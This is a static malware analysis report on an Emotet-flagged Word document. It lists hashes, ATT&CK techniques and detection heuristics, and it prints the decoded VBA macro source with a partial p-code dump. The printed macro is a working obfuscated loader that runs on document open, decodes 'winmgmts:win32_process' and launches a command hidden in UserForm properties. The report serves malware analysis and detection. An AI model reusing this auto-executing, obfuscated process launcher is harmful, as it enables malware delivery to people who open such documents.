Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 73b87bcb2d8e43fe…

MALICIOUS

Office (OLE)

174.2 KB Created: 2020-07-22 23:12:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: d1cecf186321bf877fffc9fb2f2460b2 SHA-1: 457a2555d217d10767a283922ea6eb099ec66eff SHA-256: 73b87bcb2d8e43fec86b43f84752cbcfe33d485f4f6ce5d5dc3226f8e8b826e0
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute a command stager. This is a common technique for Emotet to download and execute further malicious content. The ClamAV detection also explicitly names Emotet.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9479262-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9479262-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10074 bytes
SHA-256: c99ee0af5f6b1141143b50d81f904043ed4fc7d06036b25f4516d9090b5ac012
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "diakzouxchouz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
boaxvoebxiotqueb
End Sub


Attribute VB_Name = "roubhaol"
Attribute VB_Base = "0{F7B023C4-B78E-4209-9503-5004D43255AC}{575DE6EB-8D5E-4153-8C58-4FAD3CE32577}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "govwiahtoozfaid"
Function boaxvoebxiotqueb()
gooykadheoj = Chr(roubhaol.Zoom + Int(5 * 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
haothkoebtheil = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + gooykadheoj + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + roubhaol.joefwoefcheaw + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
deulsaocthuul = juuvzouchmiopxeox(haothkoebtheil)
Dim aboKTWBmOV As Variant
Set tiajriokchaoy = CreateObject(deulsaocthuul)
Dim Li2ÚJ8âfUTJJ As Boolean
deaknaugthein = roubhaol.kaizseah.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
giakfeiw = deulsaocthuul + gooykadheoj + roubhaol.paerwagyouqumeid.ControlTipText + deaknaugthein
Dim lgiLh7Ë As Object
queegthaen = giakfeiw + roubhaol.joefwoefcheaw
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set deavjoajsear = luumlaud(queegthaen)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array _
("1234444123", tiajriokchaoy. _
Create(geulgelquuuj, kaenhaig, deavjoajsear), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function juuvzouchmiopxeox(yiajthoavheiw)
geutyoeytiestheug = yiajthoavheiw
Dim QSuRcu As Currency
feaxgeip = Split(geutyoeytiestheug, "2342772g3&*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
jaquhoiqu = csqw + Join(feaxgeip, eihnx)
Dim gBv As Object
juuvzouchmiopxeox = jaquhoiqu
Dim lqsqsHrCH As Boolean
End Function
Function geulgelquuuj()
sjiqw = roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
geulgelquuuj = juuvzouchmiopxeox(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function luumlaud(zeolkaepxoag)
Set luumlaud = CreateObject(zeolkaepxoag)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
luumlaud _
. _
showwindow = (mujgoiy + jioyseertioch) + (neivberziok + xuajroegquoudcaij)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function


' Processing file: /opt/analyzer/scan_staging/170819f99d4c43b4b7d55d342625c95d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/diakzouxchouz - 1367 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub diakzouxchouz())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/roubhaol - 1187 bytes
' Macros/VBA/govwiahtoozfaid - 5705 bytes
' L
... (truncated)

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